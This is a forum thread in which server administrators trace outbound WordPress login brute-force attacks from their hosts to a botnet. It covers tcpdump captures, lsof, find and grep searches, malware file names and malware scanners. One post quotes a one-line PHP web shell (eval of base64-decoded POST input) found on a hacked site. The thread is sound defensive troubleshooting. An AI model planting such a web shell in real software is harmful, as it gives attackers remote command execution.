Outbound wp-login.php brute force attack from my cpanel server

[Axell35]

Hello everyone,

For the past 2 days I'm getting alerts from other hosts that my host is making brute force attacks on their wordpress installations.

Below is a line from the logs they've send me:

myip.xx.xx.xx - - [16/Mar/2014:21:59:29 +0100] "POST wp-login.php HTTP/1.1" 200 4813 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0"

I'm running PHP in DSO mode and I can't locate which account is hacked and which account is sending the POST requests to other hosts. I've ran "ps faux" and couldn't find anything useful. Also I've tried "lsof -i :80" and altough I see the process id of the outgoing connections I can't find the origin.

I've ran tcpdump and this is the small part of the output:

18:40:09.337142 IP ns4008993.ip-192-99-0.net.https > xxxx.xxxx.xxxx.xxxx.48703: Flags [.], ack 62, win 114, options [nop,nop,TS val 91721674 ecr 764306], length 0
E(.4w...-.~..c..M......?_..........r.......
.w......
18:40:09.339382 IP ns4008993.ip-192-99-0.net.https > xxx.xxx.xxx.xx.48703: Flags [.], seq 1:1449, ack 62, win 114, options [nop,nop,TS val 91721674 ecr 764306], length 1448
E(..w...-.x..c..M......?_..........r.......
.w......HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Wed, 19 Mar 2014 16:40:14 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1551
Connection: keep-alive
X-Powered-By: Express
ETag: "-596045100"

[
  {
    "url": "http://domain.com/wp-login.php",
    "cms": "wp",
    "login": "-------",
    "password": "-------",
    "taskid": 321598844
  },
  {
    "url": "http://domain.com/wp-login.php",
    "cms": "wp",
    "login": "-------",
    "password": "-----",
    "taskid": 321598845
  },
------------

I've also ran maldet and clamav against home and quarantied some viruses but the attack is still going on. I believe this attack is by XSS or reflection attack (or some kind of shell) from some site on my server but I don't how to find the source.

Any help would be appreciated, thanks.

 

[Axell35]

It was right under my nose all this time:

I found the following log in the tcpdump (tcpdump -A -i eth0 -s 1500 port not 22)

Host: domain.com:443 <----- botnet manager
Accept: */*
Content-Type: application/json
X-Worker-Host: xxxxxxx.com <----------hacked website on my host
X-Worker-Id: 866
Content-Length: 361

[{"taskid":321598844,"result":"BAD"},{"taskid":321598845,"result":"BAD"},{"taskid":321598846,"result":"BAD"},{"taskid":321598847,"result":"BAD"},{"taskid":321598848,"result":"BAD"},{"taskid":321598849,"result":"BAD"},{"taskid":32159885$
18:40:17.647571 IP 208.43.74.52-static.reverse.serverquality.com.http > domain.net.tr.46520: Flags [.], ack 798, win 130, options [nop,nop,TS val 3683985910 ecr 772612], length 0
EH.4..../..h.+J4M....P..
3.6"..............
..).....
18:40:17.665981 IP host.domain.ca.http > domain.net.tr.59180: Flags [F.], seq 4096, ack 791, win 130, options [nop,nop,TS val 1072870264 ecr 772613], length 0

 

[quizknows]

Once you find the process id (pid) run:

lsof -p 1234

where 1234 is the pid. You should find a CWD for that apache process, which should be the directory containing the malicious scripts.

Edit; never mind, I see you found it. Good work.

 

[cPanelMichael]

I am happy to see you were able to determine the source of the attack. Thank you for updating us with the outcome.

 

[ChrisTNM]

It was right under my nose all this time

I am currently dealing with the same issue and I noticed a similarity here.
The host "ns4008993.123.456.769.net" was also being used in our tcpdump logs.

In our tcpdump, I don't see "X-Worker-Host" listed here, but the request is exactly the same. Would you be willing to share more details about the infected website you found or what scripts were being used so we can search for it?

 

[quizknows]

A lot of outbound bruteforces lately have been running as "/usr/bin/host"

If you run a "ps faux" look for any processes by that name, or any suspicious PHP processes (or other suspect processes forked off of httpd or php).

If you find them, "lsof -p $PID" will help you hunt it down.

Also, if you use "lsof -i :80" look for connections going to other hosts port 80 (as opposed to visitors of your sites hitting your own server on port 80). You can get pids from that output if you can find the right connections while the attack is ongoing.

 

[ChrisTNM]

A lot of outbound bruteforces lately have been running as "/usr/bin/host"

If you run a "ps faux" look for any processes by that name, or any suspicious PHP processes (or other suspect processes forked off of httpd or php).

If you find them, "lsof -p $PID" will help you hunt it down.

Also, if you use "lsof -i :80" look for connections going to other hosts port 80 (as opposed to visitors of your sites hitting your own server on port 80). You can get pids from that output if you can find the right connections while the attack is ongoing.

Thanks for the tips!

This works great if you can catch them in the act. What about searching for the file/script when it's not being executed? Now that I know the IP and the host of the botnet, I was able to just block that and the attacks have stopped for now. This doesn't actually solve the problem, but I'd rather block that then enable it so I can track the process on the off chance I'm looking while it's running.

There must be another solution here, especially since we're not the first this happened to. I'd just love to know what Axell35 found.

 

[quizknows]

If you're lucky, maldet or clamscan on /home/*/public_html/ will find you an infected site. Usually if your server is attacking WP sites, you have a hacked WP site, same goes for joomla.

The latest file names I've found for libraries left behind by this particular attack are:

.sd0
rss-aggr.so
bruteforce.so
libworker.so

Also a recursive grep through any php files for the string "/usr/bin/host" might help you hunt it down.

Obviously it's much easier if you can catch it with pids running. Even if you blocked the IPs, the pids might still be live. Otherwise, these are going to take a while, but I'd start with:

#you can run this one with the other filenames too, like -name "libworker.so"
find /home*/*/public_html/ -type f -name ".sd0"
#then
find /home*/*/public_html/ -type f -name "*php" -exec grep -l "/usr/bin/host" {} \;

If that all fails,

clamscan -ir /home*/*/public_html/
#then
maldet -a /home?/?/public_html/
#maldet uses ? for CLI wildcard

good luck!

 

[ChrisTNM]

Thanks quizknows! That's what I was looking for. I will give this a shot and see if anything turns up.
We already ran clamscan and maldet and that didn't find anything early on.

 

[ChrisTNM]

Following up here, I didn't find any of those files or any reference to "/usr/bin/host".
I suspect it's just a simple php file somewhere on a compromised site.

We did find a few others that just had this as the source:

<?php @eval(base64_decode(@$_POST["cmd"])); ?>

I suspect it might have been one of these, there's no way to confirm for sure.

 

[quizknows]

Yeah, people can execute whatever they want through those files unfortunately. While you can't know 100%, it's extremely likely they're responsible.

If you have domain access log archiving on, you could check through archived logs for any POST requests around the time of the bad traffic.

You'll want to "stat" those files before you disable or remove them, and check your apache access logs (domlogs) for any activity around the time of the last modify/change times on those files. Hopefully you can determine how the bad code was placed there.

 

[ChrisTNM]

Thanks for all the help, we really appreciate it over here.
We're combing through the logs already.

 

[webignition]

I'm glad I found this thread, I'm experiencing similar problems.

I've received an email from the company from whom I rent my servers regarding an abuse report from a third party. The abuse report is very low on detail.

The abuse regards brute force attacks on wp-login.php on a remote server.

I can see from reading this thread that tcpdump is useful in spotting the relevant outbound traffic. The problem I'm having is that I can't tell how to use tcpdump to do this.

Could anyone suggest how I can use tcpdump to log relevant traffic such that I can go back to the logs to look for clues?

 

[ChrisTNM]

I'm glad I found this thread, I'm experiencing similar problems.

I've received an email from the company from whom I rent my servers regarding an abuse report from a third party. The abuse report is very low on detail.

The abuse regards brute force attacks on wp-login.php on a remote server.

I can see from reading this thread that tcpdump is useful in spotting the relevant outbound traffic. The problem I'm having is that I can't tell how to use tcpdump to do this.

Could anyone suggest how I can use tcpdump to log relevant traffic such that I can go back to the logs to look for clues?

We didn't have much luck with tcpdump, the problem is you have to catch them in the act or you won't see anything. You should check out CXS (ConfigServer eXploit Scanner (cxs)), it has worked really well for us once you get it turned properly.

Edit: You can try this too: AtomiCorp: Security for Everyone - Atomicorp's Realtime Gotroot Modsecurity Rules